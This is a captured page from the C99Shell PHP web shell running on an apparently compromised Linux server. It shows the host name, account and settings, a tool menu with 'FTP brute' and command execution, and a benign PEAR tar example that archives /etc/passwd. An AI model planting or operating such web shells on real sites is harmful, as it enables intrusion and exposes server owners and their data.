!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php54/usr/share/doc/pear/Archive/docs/   drwxr-xr-x
Free 294.15 GB of 429.69 GB (68.46%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     example.php (1.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package Archive
 */

// Add "MyDirectory" to a new archive: myArchive.tar
// [ tar -cf myArchive.tar MyDirectory ]

$ar = new Tar"myArchive.tar" );
$ar->append"MyDirectory" );

// Show the files in the archive.
// [ tar -tf myArchive.tar ]
$fileListing $ar->getList();
foreach( 
$fileListing as $file )
{
    print( 
"Archived file: $file\n" );
}

// Append the file /etc/passwd
// [ tar -rf myArchive.tar /etc/passwd ]
$ar->append"/etc/passwd" );

// Delete the directory and it's contents
// [ tar -f myArchive.tar --delete MyDirectory ]
$ar->delete"MyDirectory" );

// Append another directory .. 
$ar->append"AnotherDirectory" );

// .. and show detailed file permissions plus the file or directory path.
$fileListing $ar->getList();
foreach( 
$fileListing as $file )
{
    
$entry $ar->getArchivedEntry$file );

    print( 
$entry->getPermissionsString() );

    if ( 
$entry->isDirectory() )
    {
        print( 
" [ ".$entry->getPath()." ]\n" );
    }
    else
    {
        print( 
"   ".$entry->getPath()."\n" );
    }
}


// Extract the whole archive to the tmp directory
$ar->extractTo"/tmp/" );

// Extract the passwd file to the file: /tmp/passwd-backup
$ar->extractTo"/tmp/passwd-backup""passwd" );



// Extracting the gzipped archive: compressedTar.tgz to the tmp directory:
$ar = new Tar"compress.zlib://compressedTar.tgz" );
$ar->extractTo"/tmp/" );

// .. and append the password file.
$ar->append"/etc/passwd" );
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0032 ]--